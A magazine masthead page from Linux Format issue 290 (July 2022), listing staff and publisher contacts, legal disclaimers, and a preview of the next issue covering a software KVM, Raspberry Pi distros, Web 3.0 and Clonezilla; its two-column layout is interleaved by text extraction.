Raspberry Pi is a trademark of the Raspberry Pi Foundation.
Tux credit: Larry Ewing ([email protected]) and The GIMP.

So let’s clone our devices and ADVERTISING

Commercial sales director Clare Dove
[email protected]

live the virtual dream!

Senior advertising manager Lara Jaggon
[email protected]
Head of commercial – Technology Dave Randall
[email protected]
Account director Andrew Tilbury
[email protected]
INTERNATIONAL LICENSING
Head of Print Licensing Rachel Shaw
Linux Format is available for licensing and syndication.
To find our more contact us at [email protected]
or view our content at www.futurecontenthub.com.
NEW SUBSCRIPTIONS & BACK ISSUES
Web www.magazinesdirect.com
UK 0330 333 1113 World +44 (0) 330 333 1113
EXISTING SUBSCRIPTIONS
Web www.mymagazine.co.uk
UK 0330 333 4333 World +44 (0) 330 333 4333
Subscription delays: Disruption remains within UK
and International delivery networks. Please allow up to
7 days before contacting us about a late delivery to
[email protected]
CIRCULATION
Head of newstrade Tim Mathers
PRODUCTION AND DISTRIBUTION
Head of production UK & US Mark Constance
Production project manager Clare Scott
Senior ad production manager Jo Crosby
Digital editions controller Jason Hudson
THE MANAGEMENT
MD, tech specialist Keith Walker
Head of art and design Rodney Dive

LXF291
Design director Brett Lewis
Commercial finance director Dan Jotcham
Printed by Wyndeham Peterborough, Storey’s Bar
Road, Peterborough, Cambridgeshire, PE1 5YS
Distributed by Marketforce, 5 Churchill Place, Canary
will be on sale Wharf, London, E14 5HU www.marketforce.co.uk
Tel: 0203 787 9001
Tuesday Linux® is the registered trademark of Linus Torvalds in the U.S. and other countries.
GNU/Linux is abbreviated to Linux throughout for brevity. Where applicable code

28 June printed in this magazine is licensed under the GNU GPL v2 or later. See www.gnu.
org/copyleft/gpl.html. All copyrights and trademarks are recognised and respected.
Disclaimer All contents © 2022 Future Publishing Limited or published under
licence. All rights reserved. No part of this magazine may be used, stored,

2022 transmitted or reproduced in any way without the prior written permission of the
publisher. Future Publishing Limited (company number 2008885) is registered in
England and Wales. Registered office: Quay House, The Ambury, Bath BA1 1UA. All

Software KVM information contained in this publication is for information only and is, as far as we
are aware, correct at the time of going to press. Future cannot accept any
responsibility for errors or inaccuracies in such information. You are advised to
contact manufacturers and retailers directly with regard to the price of products/
services referred to in this publication. Apps and websites mentioned in this

Don’t build barriers. Instead, create a cross-platform, software- publication are not under our control. We are not responsible for their contents or any
other changes or updates to them. This magazine is fully independent and not
affiliated in any way with the companies mentioned herein.
If you submit material to us, you warrant that you own the material and/or have
based KVM for sharing keyboards and mice everywhere! the necessary rights/permissions to supply the material and you automatically grant
Future and its licensees a licence to publish your submission in whole or in part in
any/all issues and/or editions of publications, in any format published worldwide and
on associated websites, social media channels and associated products. Any
material you submit is sent at your own risk and, although every care is taken, neither
Future nor its employees, agents, subcontractors or licensees shall be liable for loss

Raspberry Pi OS face-off or damage. We assume all unsolicited material is for publication unless otherwise
stated, and reserve the right to edit, amend, adapt all submissions. All contents in
this magazine are used at your own risk. We accept no liability for any loss of data or
damage to your systems, peripherals or software through the use of any guide.
Notes: fear the Tux-knife of doom!

What should your Pi be running? We test a host of Pi distros We are committed to only using magazine paper derived from
responsibly managed, certified forestry and chlorine-free
manufacture. The paper in this magazine was sourced and
to see which is the most delicious filling for your Pi dish. produced from sustainable managed forests, conforming to
strict environmental and socioeconomic standards. The
manufacturing paper mill and printer hold full FSC and PEFC
certification and accreditation.

What’s with Web 3.0? Future is an award-winning international media group and
leading digital business. We reach more than 57 million
Discover how open source is at the heart of the next web international consumers a month and create world-class
content and advertising solutions for passionate
consumers online, on tablet & smartphone and in print.
revolution and how blockchain technology is driving it all.

Clone machine
We’re going clone mad down here at Linux Format Towers – now
we’re playing with Clonezilla for fast, easy system duplication. Future plc is a public
company quoted on the
London Stock Exchange
Chief executive Zillah Byng-Thorne
Non-executive chairman Richard Huntingford
!ǝǣƺǔˡȇƏȇƬǣƏǼȒǔˡƬƺȸ Penny Ladkin-Brand
(symbol: FUTR)
www.futureplc.com Tel +44 (0)1225 442244
Contents of future issues subject to change – there might be too much Steam Deck distraction going on!

98 LXF290 July 2022

9000 9001